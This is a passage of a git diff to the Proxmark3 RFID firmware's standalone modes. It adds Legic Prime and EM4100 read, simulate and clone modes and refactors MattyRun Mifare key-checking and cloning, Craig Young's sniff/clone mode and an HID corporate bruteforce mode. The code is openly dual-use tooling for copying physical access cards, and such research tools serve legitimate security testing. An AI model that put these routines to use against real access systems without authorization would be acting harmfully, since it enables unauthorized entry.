crypto1_deinit(pcs);
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
|
||||
return -1;
|
||||
|
@ -1009,6 +972,7 @@ void saMifareMakeTag(void) {
|
|||
}
|
||||
}
|
||||
|
||||
// TODO : make this work either for a Gen1a or for a block 0 direct write all transparently
|
||||
//-----------------------------------------------------------------------------
|
||||
// Matt's StandAlone mod.
|
||||
// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn)
|
||||
|
@ -1095,7 +1059,8 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data
|
|||
};
|
||||
}
|
||||
|
||||
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
|
||||
if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) ||
|
||||
(receivedAnswer[0] != 0x0a)) {
|
||||
DbprintfEx(FLAG_NEWLINE, "write block send command error");
|
||||
break;
|
||||
};
|
||||
|
|
|
@ -9,6 +9,10 @@
|
|||
// StandAlone Mod
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifndef FALSE
|
||||
#define FALSE 0
|
||||
#endif
|
||||
|
@ -16,20 +20,6 @@
|
|||
#ifndef __HF_COLIN_H
|
||||
#define __HF_COLIN_H
|
||||
|
||||
#include "proxmark3.h"
|
||||
#include "mifaresim.h" // mifare1ksim
|
||||
#include "mifareutil.h"
|
||||
#include "iso14443a.h"
|
||||
#include "protocols.h"
|
||||
#include "util.h"
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include <stdbool.h> // for bool
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "vtsend.h"
|
||||
#include "apps.h"
|
||||
#include "printf.h"
|
||||
|
||||
#define _XRED_ "\x1b[31m"
|
||||
#define _XGREEN_ "\x1b[32m"
|
||||
#define _XYELLOW_ "\x1b[33m"
|
||||
|
@ -43,7 +33,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
|
|||
int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype);
|
||||
void saMifareMakeTag(void);
|
||||
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||
void WriteTagToFlash(uint8_t index, size_t size);
|
||||
void WriteTagToFlash(uint32_t uid, size_t size);
|
||||
|
||||
const char clearTerm[8] = {0x1b, 0x5b, 0x48, 0x1b, 0x5b, 0x32, 0x4a, '\0'};
|
||||
|
||||
|
|
173
armsrc/Standalone/hf_legic.c
Normal file
173
armsrc/Standalone/hf_legic.c
Normal file
|
@ -0,0 +1,173 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// (c) Stefanie Hofmann, 2020
|
||||
// (c) Uli Heilmeier, 2020
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// main code for Legic Prime read/sim
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "standalone.h"
|
||||
#include "proxmark3_arm.h"
|
||||
#include "BigBuf.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "legicrf.h"
|
||||
#include "legicrfsim.h"
|
||||
#include "legic.h" // legic_card_select_t struct
|
||||
#include "spiffs.h" // flashmem
|
||||
|
||||
|
||||
/*
|
||||
* To list all dump files from flash:
|
||||
*
|
||||
* 1. mem spiffs tree
|
||||
*
|
||||
*
|
||||
* To retrieve dump files from flash:
|
||||
*
|
||||
* 1. mem spiffs dump o hf-legic-XXYYZZWW-dump.bin f hf-legic-XXYYZZWW-dump.bin
|
||||
* Copies log file from flash to your client.
|
||||
*
|
||||
*
|
||||
* This module emits debug strings during normal operation -- so try it out in
|
||||
* the lab connected to PM3 client before taking it into the field.
|
||||
*
|
||||
* To delete a dump file from flash:
|
||||
*
|
||||
* 1. mem spiffs remove hf-legic-XXYYZZWW-dump.bin
|
||||
*
|
||||
*/
|
||||
|
||||
void DownloadLogInstructions() {
|
||||
Dbprintf("");
|
||||
Dbprintf("[=] List all dumps from flash:");
|
||||
Dbprintf("[=] " _YELLOW_("-") "mem spiffs tree");
|
||||
Dbprintf("");
|
||||
Dbprintf("[=] To save a dump file from flash to client:");
|
||||
Dbprintf("[=] " _YELLOW_("-") "mem spiffs dump o hf-legic-UID-dump.bin f hf-legic-UID-dump.bin");
|
||||
}
|
||||
|
||||
void save_dump_to_file(legic_card_select_t *p_card) {
|
||||
|
||||
#ifdef WITH_FLASH
|
||||
|
||||
// legic functions puts it memory in Emulator reserved memory.
|
||||
uint8_t *mem = BigBuf_get_EM_addr();
|
||||
|
||||
char *preferredName = (char*)BigBuf_malloc(30);
|
||||
if (preferredName == NULL) {
|
||||
goto OUT;
|
||||
}
|
||||
|
||||
sprintf(preferredName, "hf-legic-%02X%02X%02X%02X-dump", p_card->uid[0], p_card->uid[1], p_card->uid[2], p_card->uid[3]);
|
||||
uint16_t preferredNameLen = strlen(preferredName);
|
||||
|
||||
char *filename = (char*)BigBuf_malloc(preferredNameLen + 4 + 1 + 10);
|
||||
if (filename == NULL) {
|
||||
goto OUT;
|
||||
}
|
||||
|
||||
sprintf(filename, "%.*s%s", preferredNameLen, preferredName, ".bin");
|
||||
uint16_t num = 1;
|
||||
while (exists_in_spiffs(filename)) {
|
||||
sprintf(filename, "%.*s-%d%s", preferredNameLen, preferredName, num, ".bin");
|
||||
num++;
|
||||
}
|
||||
|
||||
rdv40_spiffs_write(filename, mem, p_card->cardsize, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
|
||||
Dbprintf("[=] saved card dump to flashmem::" _YELLOW_("%s"), filename);
|
||||
OUT:
|
||||
BigBuf_free_keep_EM();
|
||||
#endif
|
||||
|
||||
}
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" HF Legic Prime standalone");
|
||||
}
|
||||
|
||||
// Searching for Legic card until found and read.
|
||||
// Simulating recorded Legic Prime card.
|
||||
// C = Searching
|
||||
// A, B, C = Reading
|
||||
// A, D = Simulating
|
||||
|
||||
void RunMod() {
|
||||
StandAloneMode();
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
|
||||
Dbprintf("[=] >> HF Legic Prime Read/Simulate Started <<");
|
||||
DbpString("[=] press and HOLD button to exit standalone mode");
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
|
||||
//exit from hf_legic, send usbcommand
|
||||
if (data_available()) break;
|
||||
|
||||
//Was our button held down or pressed?
|
||||
int button_pressed = BUTTON_HELD(280);
|
||||
if (button_pressed == BUTTON_HOLD) {
|
||||
break;
|
||||
}
|
||||
|
||||
LEDsoff();
|
||||
LED_C_ON();
|
||||
|
||||
DbpString("[=] looking for tags");
|
||||
int read_success = PM3_ESOFT;
|
||||
|
||||
//search for legic card until reading successfull or button pressed
|
||||
do {
|
||||
LED_C_ON();
|
||||
SpinDelay(500);
|
||||
// We don't care if we read a MIM256, MIM512 or MIM1024
|
||||
// we just read 1024 bytes
|
||||
read_success = LegicRfReaderEx(0, 1024, 0x55);
|
||||
|
||||
} while (read_success == PM3_ESOFT && !BUTTON_PRESS());
|
||||
|
||||
LEDsoff();
|
||||
|
||||
//simulate if read successfully
|
||||
if (read_success != PM3_ESOFT) {
|
||||
|
||||
legic_card_select_t *p_card;
|
||||
p_card = getLegicCardInfo();
|
||||
if (p_card->cardsize == 0)
|
||||
continue;
|
||||
|
||||
save_dump_to_file(p_card);
|
||||
|
||||
LED_D_ON();
|
||||
uint8_t ct;
|
||||
switch(p_card->tagtype) {
|
||||
case 0x0D:
|
||||
ct = 0;
|
||||
break;
|
||||
case 0x1D:
|
||||
ct = 1;
|
||||
break;
|
||||
case 0x3D:
|
||||
ct = 2;
|
||||
break;
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
|
||||
// The read data is migrated to a MIM1024 card
|
||||
LegicRfSimulate(ct);
|
||||
}
|
||||
}
|
||||
|
||||
LEDsoff();
|
||||
#ifdef WITH_FLASH
|
||||
DownloadLogInstructions();
|
||||
#endif
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
}
|
|
@ -33,7 +33,21 @@ on a blank card.
|
|||
## Spanish full description of the project [here](http://bit.ly/2c9nZXR).
|
||||
*/
|
||||
|
||||
#include "hf_mattyrun.h"
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "string.h"
|
||||
#include "commonutil.h"
|
||||
#include "iso14443a.h"
|
||||
#include "mifarecmd.h"
|
||||
#include "crc16.h"
|
||||
#include "BigBuf.h"
|
||||
#include "mifaresim.h" // mifare1ksim
|
||||
#include "mifareutil.h"
|
||||
|
||||
uint8_t uid[10];
|
||||
uint32_t cuid;
|
||||
|
@ -122,7 +136,7 @@ static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_
|
|||
};
|
||||
}
|
||||
|
||||
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
|
||||
if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
|
||||
DbprintfEx(FLAG_NEWLINE, "write block send command error");
|
||||
break;
|
||||
};
|
||||
|
@ -181,19 +195,19 @@ static int saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
|
|||
SpinDelayUs(AUTHENTICATION_TIMEOUT);
|
||||
continue;
|
||||
}
|
||||
crypto1_destroy(pcs);
|
||||
crypto1_deinit(pcs);
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
*key = ui64Key;
|
||||
return i;
|
||||
}
|
||||
crypto1_destroy(pcs);
|
||||
crypto1_deinit(pcs);
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)");
|
||||
DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)");
|
||||
}
|
||||
|
||||
void RunMod() {
|
||||
|
@ -223,6 +237,7 @@ void RunMod() {
|
|||
*/
|
||||
bool printKeys = false; // Prints keys
|
||||
bool transferToEml = true; // Transfer keys to emulator memory
|
||||
bool ecfill = true; // Fill emulator memory with cards content.
|
||||
bool simulation = true; // Simulates an exact copy of the target tag
|
||||
bool fillFromEmulator = false; // Dump emulator memory.
|
||||
|
||||
|
@ -261,7 +276,7 @@ void RunMod() {
|
|||
keys in keyBlock's memory space .
|
||||
*/
|
||||
keyBlock = BigBuf_malloc(stKeyBlock * 6);
|
||||
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
|
||||
int mfKeysCnt = ARRAYLEN(mfKeys);
|
||||
|
||||
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
|
||||
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
|
||||
|
@ -308,7 +323,7 @@ void RunMod() {
|
|||
Dbprintf("\tCurrent sector:%3d, block:%3d, key type: %c, key count: %i ", sec, block, type ? 'B' : 'A', mfKeysCnt);
|
||||
int key = saMifareChkKeys(block, type, true, size, &keyBlock[0], &key64);
|
||||
if (key == -1) {
|
||||
LED(LED_RED, 50); //red
|
||||
LED(LED_RED, 50);
|
||||
Dbprintf("\t✕ Key not found for this sector!");
|
||||
allKeysFound = false;
|
||||
// break;
|
||||
|
@ -333,21 +348,24 @@ void RunMod() {
|
|||
TODO:
|
||||
- Get UID from tag and set accordingly in emulator memory and call mifaresim with right flags (iceman)
|
||||
*/
|
||||
if (!allKeysFound && keyFound) {
|
||||
Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!");
|
||||
LED_C_ON(); //red
|
||||
LED_A_ON(); //yellow
|
||||
// no room to run nested attack on device (iceman)
|
||||
// Do nested attack, set allKeysFound = true;
|
||||
// allKeysFound = true;
|
||||
if (allKeysFound) {
|
||||
Dbprintf("\t✓ All keys found");
|
||||
} else {
|
||||
Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!");
|
||||
LED_C_ON(); //red
|
||||
if (keyFound) {
|
||||
Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!");
|
||||
LED_C_ON(); //red
|
||||
LED_A_ON(); //yellow
|
||||
// no room to run nested attack on device (iceman)
|
||||
// Do nested attack, set allKeysFound = true;
|
||||
// allKeysFound = true;
|
||||
} else {
|
||||
Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!");
|
||||
LED_C_ON(); //red
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned.
|
||||
*/
|
||||
// If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned.
|
||||
|
||||
if ((transferToEml) && (allKeysFound)) {
|
||||
|
||||
emlClearMem();
|
||||
|
@ -399,7 +417,7 @@ void RunMod() {
|
|||
simflags = FLAG_4B_UID_IN_DATA;
|
||||
break;
|
||||
}
|
||||
Mifare1ksim(simflags | FLAG_MF_1K, 0, uid);
|
||||
Mifare1ksim(simflags | FLAG_MF_1K, 0, uid, 0, 0);
|
||||
LED_B_OFF();
|
||||
|
||||
/*
|
||||
|
|
|
@ -8,18 +8,33 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// main code for HF standalone mode Mifare /sniff/emulation by Craig Young
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "hf_young.h"
|
||||
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include <inttypes.h>
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "string.h"
|
||||
#include "commonutil.h"
|
||||
#include "mifarecmd.h"
|
||||
#include "iso14443a.h"
|
||||
#include "protocols.h"
|
||||
|
||||
#define OPTS 2
|
||||
|
||||
typedef struct {
|
||||
uint8_t uid[10];
|
||||
uint8_t uidlen;
|
||||
uint8_t atqa[2];
|
||||
uint8_t sak;
|
||||
} __attribute__((__packed__)) card_clone_t;
|
||||
} PACKED card_clone_t;
|
||||
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" HF Mifare sniff/simulation - (Craig Young)");
|
||||
DbpString(" HF Mifare sniff/simulation - (Craig Young)");
|
||||
}
|
||||
|
||||
void RunMod() {
|
||||
|
@ -99,9 +114,9 @@ void RunMod() {
|
|||
Dbprintf("ATQA = %02X%02X", uids[selected].atqa[0], uids[selected].atqa[1]);
|
||||
Dbprintf("SAK = %02X", uids[selected].sak);
|
||||
LEDsoff();
|
||||
LED(LED_B, 200);
|
||||
LED(LED_B, 200);
|
||||
LED(LED_A, 200);
|
||||
LED(LED_B, 200);
|
||||
LED(LED_B, 200);
|
||||
LED(LED_A, 200);
|
||||
|
||||
LEDsoff();
|
||||
|
@ -136,18 +151,18 @@ void RunMod() {
|
|||
SpinDelay(500);
|
||||
// Begin clone function here:
|
||||
/* Example from client/mifarehost.c for commanding a block write for "magic Chinese" cards:
|
||||
SendCommandOLD(CMD_MIFARE_CSETBLOCK, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16);
|
||||
SendCommandOLD(CMD_HF_MIFARE_CSETBL, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16);
|
||||
|
||||
Block read is similar:
|
||||
SendCommandOLD(CMD_MIFARE_CGETBLOCK, params, blockNo, 0,...};
|
||||
SendCommandOLD(CMD_HF_MIFARE_CGETBL, params, blockNo, 0,...};
|
||||
We need to imitate that call with blockNo 0 to set a uid.
|
||||
|
||||
The get and set commands are handled in this file:
|
||||
// Work with "magic Chinese" card
|
||||
case CMD_MIFARE_CSETBLOCK:
|
||||
case CMD_HF_MIFARE_CSETBL:
|
||||
MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes);
|
||||
break;
|
||||
case CMD_MIFARE_CGETBLOCK:
|
||||
case CMD_HF_MIFARE_CGETBL:
|
||||
MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes);
|
||||
break;
|
||||
|
||||
|
@ -180,7 +195,7 @@ void RunMod() {
|
|||
MifareCGetBlock(params, 0, testBlock0);
|
||||
|
||||
if (memcmp(testBlock0, newBlock0, 16) == 0) {
|
||||
DbpString("Cloned successfull!");
|
||||
DbpString("Cloned successful!");
|
||||
cardRead[selected] = 0; // Only if the card was cloned successfully should we clear it
|
||||
playing = 0;
|
||||
iGotoRecord = 1;
|
||||
|
|
100
armsrc/Standalone/lf_em4100emul.c
Normal file
100
armsrc/Standalone/lf_em4100emul.c
Normal file
|
@ -0,0 +1,100 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Artyom Gnatyuk, 2020
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// LF emul - Very simple mode. Simulate only predefined in low[] IDs
|
||||
// Short click - select next slot and start simulation
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "standalone.h"
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "lfops.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "string.h"
|
||||
#include "BigBuf.h"
|
||||
|
||||
#define MAX_IND 16 // 4 LEDs - 2^4 combinations
|
||||
#define CLOCK 64 //for 125kHz
|
||||
|
||||
// low & high - array for storage IDs. Its length must be equal.
|
||||
// Predefined IDs must be stored in low[].
|
||||
// In high[] must be nulls
|
||||
uint64_t low[] = {0x565A1140BE, 0x365A398149, 0x5555555555, 0xFFFFFFFFFF};
|
||||
uint32_t high[] = {0, 0, 0, 0};
|
||||
uint8_t *bba, slots_count;
|
||||
int buflen;
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF EM4100 simulator standalone mode");
|
||||
}
|
||||
|
||||
uint64_t ReversQuads(uint64_t bits) {
|
||||
uint64_t result = 0;
|
||||
for (int i = 0; i < 16; i++) {
|
||||
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
|
||||
}
|
||||
return result >> 24;
|
||||
}
|
||||
|
||||
void FillBuff(uint8_t bit) {
|
||||
memset(bba + buflen, bit, CLOCK / 2);
|
||||
buflen += (CLOCK / 2);
|
||||
memset(bba + buflen, bit ^ 1, CLOCK / 2);
|
||||
buflen += (CLOCK / 2);
|
||||
}
|
||||
|
||||
void ConstructEM410xEmulBuf(uint64_t id) {
|
||||
|
||||
int i, j, binary[4], parity[4];
|
||||
buflen = 0;
|
||||
for (i = 0; i < 9; i++)
|
||||
FillBuff(1);
|
||||
parity[0] = parity[1] = parity[2] = parity[3] = 0;
|
||||
for (i = 0; i < 10; i++) {
|
||||
for (j = 3; j >= 0; j--, id /= 2)
|
||||
binary[j] = id % 2;
|
||||
for (j = 0; j < 4; j++)
|
||||
FillBuff(binary[j]);
|
||||
FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
|
||||
for (j = 0; j < 4; j++)
|
||||
parity[j] ^= binary[j];
|
||||
}
|
||||
for (j = 0; j < 4; j++)
|
||||
FillBuff(parity[j]);
|
||||
FillBuff(0);
|
||||
}
|
||||
|
||||
void LED_Slot(int i) {
|
||||
LEDsoff();
|
||||
if (slots_count > 4) {
|
||||
LED(i % MAX_IND, 0); //binary indication for slots_count > 4
|
||||
} else {
|
||||
LED(1 << i, 0); //simple indication for slots_count <=4
|
||||
}
|
||||
}
|
||||
|
||||
void RunMod() {
|
||||
StandAloneMode();
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
|
||||
Dbprintf("[=] >> LF EM4100 simulator started <<");
|
||||
|
||||
int selected = 0; //selected slot after start
|
||||
slots_count = sizeof(low) / sizeof(low[0]);
|
||||
bba = BigBuf_get_addr();
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
if (data_available()) break;
|
||||
SpinDelay(100);
|
||||
SpinUp(100);
|
||||
LED_Slot(selected);
|
||||
ConstructEM410xEmulBuf(ReversQuads(low[selected]));
|
||||
SimulateTagLowFrequency(buflen, 0, true);
|
||||
selected = (selected + 1) % slots_count;
|
||||
}
|
||||
}
|
204
armsrc/Standalone/lf_em4100rwc.c
Normal file
204
armsrc/Standalone/lf_em4100rwc.c
Normal file
|
@ -0,0 +1,204 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Artyom Gnatyuk, 2020
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// LF rwc - This mode can simulate ID from selected slot, read ID to
|
||||
// selected slot, write from selected slot to T5555 tag and store
|
||||
// readed ID to flash (only RDV4). Also you can set predefined IDs
|
||||
// in any slot.
|
||||
// To recall stored ID from flash execute:
|
||||
// mem spifss dump o emdump p
|
||||
// or:
|
||||
// mem spifss dump o emdump f emdump
|
||||
// then from shell:
|
||||
// hexdump emdump -e '5/1 "%02X" /0 "\n"'
|
||||
//-----------------------------------------------------------------------------
|
||||
#include "standalone.h"
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "lfops.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "string.h"
|
||||
#include "BigBuf.h"
|
||||
#include "spiffs.h"
|
||||
|
||||
#ifdef WITH_FLASH
|
||||
#include "flashmem.h"
|
||||
#endif
|
||||
|
||||
#define MAX_IND 16 // 4 LEDs - 2^4 combinations
|
||||
#define CLOCK 64 //for 125kHz
|
||||
|
||||
// low & high - array for storage IDs. Its length must be equal.
|
||||
// Predefined IDs must be stored in low[].
|
||||
// In high[] must be nulls
|
||||
uint64_t low[] = {0x565AF781C7, 0x540053E4E2, 0x1234567890, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
|
||||
uint32_t high[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
|
||||
uint8_t *bba, slots_count;
|
||||
int buflen;
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF EM4100 read/write/clone mode");
|
||||
}
|
||||
|
||||
uint64_t ReversQuads(uint64_t bits) {
|
||||
uint64_t result = 0;
|
||||
for (int i = 0; i < 16; i++) {
|
||||
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
|
||||
}
|
||||
return result >> 24;
|
||||
}
|
||||
|
||||
void FillBuff(uint8_t bit) {
|
||||
memset(bba + buflen, bit, CLOCK / 2);
|
||||
buflen += (CLOCK / 2);
|
||||
memset(bba + buflen, bit ^ 1, CLOCK / 2);
|
||||
buflen += (CLOCK / 2);
|
||||
}
|
||||
|
||||
void ConstructEM410xEmulBuf(uint64_t id) {
|
||||
|
||||
int i, j, binary[4], parity[4];
|
||||
buflen = 0;
|
||||
for (i = 0; i < 9; i++)
|
||||
FillBuff(1);
|
||||
parity[0] = parity[1] = parity[2] = parity[3] = 0;
|
||||
for (i = 0; i < 10; i++) {
|
||||
for (j = 3; j >= 0; j--, id /= 2)
|
||||
binary[j] = id % 2;
|
||||
for (j = 0; j < 4; j++)
|
||||
FillBuff(binary[j]);
|
||||
FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
|
||||
for (j = 0; j < 4; j++)
|
||||
parity[j] ^= binary[j];
|
||||
}
|
||||
for (j = 0; j < 4; j++)
|
||||
FillBuff(parity[j]);
|
||||
FillBuff(0);
|
||||
}
|
||||
|
||||
void LED_Slot(int i) {
|
||||
LEDsoff();
|
||||
if (slots_count > 4) {
|
||||
LED(i % MAX_IND, 0); //binary indication, usefully for slots_count > 4
|
||||
} else {
|
||||
LED(1 << i, 0); //simple indication for slots_count <=4
|
||||
}
|
||||
}
|
||||
|
||||
void FlashLEDs(uint32_t speed, uint8_t times) {
|
||||
for (int i = 0; i < times * 2; i++) {
|
||||
LED_A_INV();
|
||||
LED_B_INV();
|
||||
LED_C_INV();
|
||||
LED_D_INV();
|
||||
SpinDelay(speed);
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef WITH_FLASH
|
||||
void SaveIDtoFlash(int addr, uint64_t id) {
|
||||
uint8_t bt[5];
|
||||
char *filename = "emdump";
|
||||
rdv40_spiffs_mount();
|
||||
for (int i = 0; i < 5; i++) {
|
||||
bt[4 - i] = (uint8_t)(id >> 8 * i & 0xff);
|
||||
}
|
||||
if (exists_in_spiffs(filename) == false) {
|
||||
rdv40_spiffs_write(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL);
|
||||
} else {
|
||||
rdv40_spiffs_append(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
void RunMod() {
|
||||
StandAloneMode();
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
|
||||
Dbprintf("[=] >> LF EM4100 read/write/clone started <<");
|
||||
|
||||
int selected = 0;
|
||||
//state 0 - select slot
|
||||
// 1 - read tag to selected slot,
|
||||
// 2 - simulate tag from selected slot
|
||||
// 3 - write to T5555 tag
|
||||
uint8_t state = 0;
|
||||
slots_count = sizeof(low) / sizeof(low[0]);
|
||||
bba = BigBuf_get_addr();
|
||||
LED_Slot(selected);
|
||||
for (;;) {
|
||||
WDT_HIT();
|
||||
if (data_available()) break;
|
||||
int button_pressed = BUTTON_HELD(1000);
|
||||
SpinDelay(300);
|
||||
switch (state) {
|
||||
case 0:
|
||||
// Select mode
|
||||
if (button_pressed == 1) {
|
||||
// Long press - switch to simulate mode
|
||||
SpinUp(100);
|
||||
LED_Slot(selected);
|
||||
state = 2;
|
||||
} else if (button_pressed < 0) {
|
||||
// Click - switch to next slot
|
||||
selected = (selected + 1) % slots_count;
|
||||
LED_Slot(selected);
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
// Read mode.
|
||||
if (button_pressed > 0) {
|
||||
// Long press - switch to read mode
|
||||
SpinUp(100);
|
||||
LED_Slot(selected);
|
||||
state = 3;
|
||||
} else if (button_pressed < 0) {
|
||||
// Click - exit to select mode
|
||||
CmdEM410xdemod(1, &high[selected], &low[selected], 0);
|
||||
FlashLEDs(100, 5);
|
||||
#ifdef WITH_FLASH
|
||||
SaveIDtoFlash(selected, low[selected]);
|
||||
#endif
|
||||
state = 0;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
// Simulate mode
|
||||
if (button_pressed > 0) {
|
||||
// Long press - switch to read mode
|
||||
SpinDown(100);
|
||||
LED_Slot(selected);
|
||||
state = 1;
|
||||
} else if (button_pressed < 0) {
|
||||
// Click - start simulating. Click again to exit from simulate mode
|
||||
LED_Slot(selected);
|
||||
ConstructEM410xEmulBuf(ReversQuads(low[selected]));
|
||||
FlashLEDs(100, 5);
|
||||
SimulateTagLowFrequency(buflen, 0, 1);
|
||||
LED_Slot(selected);
|
||||
state = 0; // Switch to select mode
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
// Write tag mode
|
||||
if (button_pressed > 0) {
|
||||
// Long press - switch to select mode
|
||||
SpinDown(100);
|
||||
LED_Slot(selected);
|
||||
state = 0;
|
||||
} else if (button_pressed < 0) {
|
||||
// Click - write ID to tag
|
||||
WriteEM410x(0, (uint32_t)(low[selected] >> 32), (uint32_t)(low[selected] & 0xffffffff));
|
||||
LED_Slot(selected);
|
||||
state = 0; // Switch to select mode
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -24,10 +24,21 @@
|
|||
//-----------------------------------------------------------------------------------
|
||||
// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini
|
||||
//-----------------------------------------------------------------------------------
|
||||
#include "standalone.h" // standalone definitions
|
||||
#include "lf_hidbrute.h"
|
||||
|
||||
#include "proxmark3_arm.h"
|
||||
#include "appmain.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "util.h"
|
||||
#include "dbprint.h"
|
||||
#include "ticks.h"
|
||||
#include "lfops.h"
|
||||
|
||||
#define OPTS 3
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)");
|
||||
DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)");
|
||||
}
|
||||
|
||||
// samy's sniff and repeat routine for LF
|
||||
|
@ -41,35 +52,29 @@ void RunMod() {
|
|||
int playing = 0;
|
||||
int cardRead = 0;
|
||||
|
||||
// Turn on selected LED
|
||||
LED(selected + 1, 0);
|
||||
|
||||
for (;;) {
